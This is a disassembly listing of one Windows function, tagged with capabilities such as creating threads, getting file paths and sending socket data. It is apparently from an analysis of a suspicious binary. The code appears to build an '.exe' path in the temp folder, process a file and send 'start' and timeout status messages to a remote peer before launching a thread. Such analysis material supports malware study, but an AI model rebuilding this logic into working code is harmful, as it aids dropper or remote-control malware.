Function at 0x40b170
Capabilities:
Create thread
Get common file path
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x590570
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x18f0
call fcn.005647d0
mov eax, dword [0x5f4e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x800
lea eax, [ebp - 0x820]
mov ecx, 0x201
lea esi, [ebx + 8]
lea edi, [ebp - 0x1040]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00565b20
add esp, 0xc
xor ecx, ecx
nop dword [eax]
mov al, byte [ebp + ecx - 0x103c]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x821], al
test al, al
jne 0x40b1e0
lea ecx, [ebp - 0x820]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b200
sub ecx, edx
lea eax, [ebp - 0x820]
push ecx
push eax
mov ecx, 0x5f58c0
call fcn.0040be10
cmp dword [0x5f58d4], 0x10
mov edx, 0x5f58c0
mov esi, dword [0x5f58d0]
cmovae edx, dword [0x5f58c0]
or edi, 0xffffffff
test esi, esi
je 0x40b25e
lea eax, [esi - 1]
mov ecx, edi
cmp eax, edi
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x2f
je 0x40b25a
nop dword [eax]
cmp ecx, edx
je 0x40b25e
dec ecx
cmp byte [ecx], 0x2f
jne 0x40b250
sub ecx, edx
jmp 0x40b261
or ecx, 0xffffffff
inc ecx
mov dword [ebp - 0x828], 0
mov dword [ebp - 0x824], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x838], xmm0
cmp esi, ecx
jb 0x40b6cc
sub esi, ecx
mov eax, 0x5f58c0
cmp esi, 0xffffffff
cmovb edi, esi
cmp dword [0x5f58d4], 0x10
push edi
cmovae eax, dword [0x5f58c0]
add eax, ecx
lea ecx, [ebp - 0x838]
push eax
call fcn.00408580
mov ecx, dword [0x5f58bc]
cmp ecx, 0x10
jb 0x40b2eb
mov eax, dword [0x5f58a8]
inc ecx
cmp ecx, 0x1000
jb 0x40b2e1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40b6d1
mov eax, edx
push ecx
push eax
call fcn.005638e9
add esp, 8
movups xmm0, xmmword [ebp - 0x838]
push 0x104
lea eax, [ebp - 0x940]
movups xmmword [0x5f58a8], xmm0
push 0
movq xmm0, qword [ebp - 0x828]
push eax
movq qword [0x5f58b8], xmm0
call fcn.00565b20
add esp, 0xc
lea eax, [ebp - 0x940]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp dword [0x5f58bc], 0x10
mov eax, 0x5f58a8
cmovae eax, dword [0x5f58a8]
push eax
lea eax, [ebp - 0x940]
push 0x104
push eax
call fcn.0056a5cb
lea ecx, [ebp - 0x940]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b362
sub ecx, edx
lea eax, [ebp - 0x940]
push ecx
push eax
mov ecx, 0x5f58a8
call fcn.0040be10
push ecx
lea ecx, [ebp - 0x1900]
call fcn.0040bb90
mov dword [ebp - 4], 0
mov eax, 0x5f58a8
cmp dword [0x5f58bc], 0x10
push ecx
cmovae eax, dword [0x5f58a8]
lea ecx, [ebp - 0x18f0]
push 1
push eax
call fcn.004060b0
test eax, eax
lea ecx, [ebp - 0x1900]
mov eax, dword [ebp - 0x1900]
je 0x40b3d4
add ecx, dword [eax + 4]
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x40b3e9
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.00408230
cmp dword [ebp - 0x18a4], 0
je 0x40b500
nop
lea ecx, [ebp - 0x18f0]
call fcn.00405fb0
test eax, eax
jne 0x40b438
mov eax, dword [ebp - 0x1900]
lea ecx, [ebp - 0x1900]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00408230
mov edx, dword [0x5f58bc]
mov eax, edx
mov ecx, dword [0x5f58b8]
sub eax, ecx
cmp eax, 4
jb 0x40b472
lea eax, [ecx + 4]
cmp edx, 0x10
mov dword [0x5f58b8], eax
mov eax, 0x5f58a8
cmovae eax, dword [0x5f58a8]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], 0
jmp 0x40b492
push 4
push str..exe
mov byte [ebp - 0x1848], 0
mov ecx, 0x5f58a8
push dword [ebp - 0x1848]
push 4
call fcn.004078f0
cmp dword [0x5f58bc], 0x10
mov eax, 0x5f58a8
push ecx
cmovae eax, dword [0x5f58a8]
lea ecx, [ebp - 0x18f0]
push 1
push eax
call fcn.004060b0
test eax, eax
lea ecx, [ebp - 0x1900]
mov eax, dword [ebp - 0x1900]
je 0x40b4d6
add ecx, dword [eax + 4]
xor edx, edx
mov eax, 4
cmp dword [ecx + 0x38], edx
cmovne eax, edx
jmp 0x40b4eb
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push 0
push eax
call fcn.00408230
cmp dword [ebp - 0x18a4], 0
jne 0x40b400
lea ecx, [ebp - 0x18f0]
call fcn.00405fb0
test eax, eax
jne 0x40b538
mov eax, dword [ebp - 0x1900]
lea ecx, [ebp - 0x1900]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00408230
push 0x3e8
push dword [0x5fe56c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x40b5ba
cmp eax, 0x102
jne 0x40b5ba
push 0x7f8
lea eax, [ebp - 0x814]
push 0
push eax
call fcn.00565b20
add esp, 0xc
mov dword [ebp - 0x820], 0x24
lea eax, [ebp - 0x1844]
mov dword [ebp - 0x81c], 0x6f616863
mov ecx, 0x201
mov dword [ebp - 0x818], 0x696873
lea esi, [ebp - 0x820]
push 0
push 0x804
push eax
push dword [0x5fe554]
lea edi, [ebp - 0x1844]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40b635
push 0x7fa
lea eax, [ebp - 0x816]
push 0
push eax
call fcn.00565b20
mov eax, dword [str.start]
lea esi, [ebp - 0x820]
add esp, 0xc
mov dword [ebp - 0x81c], eax
mov ax, word [0x5d4f10]
mov ecx, 0x201
mov word [ebp - 0x818], ax
lea eax, [ebp - 0x1844]
mov edi, eax
mov dword [ebp - 0x820], 0x24
push 0
push 0x804
push eax
push dword [0x5fe554]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
push 0
push 0
push 0
push 0x409cb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x5fe56c], eax
mov eax, dword [ebp - 0x1900]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1900]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x1904], eax
lea ecx, [ebp - 0x18f0]
call fcn.004055d0
mov eax, dword [ebp - 0x1900]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1900]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x1904], eax
lea eax, [ebp - 0x1890]
mov dword [ebp - 4], 1
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.00417994
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005638db
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00406580
call fcn.00568e05
int3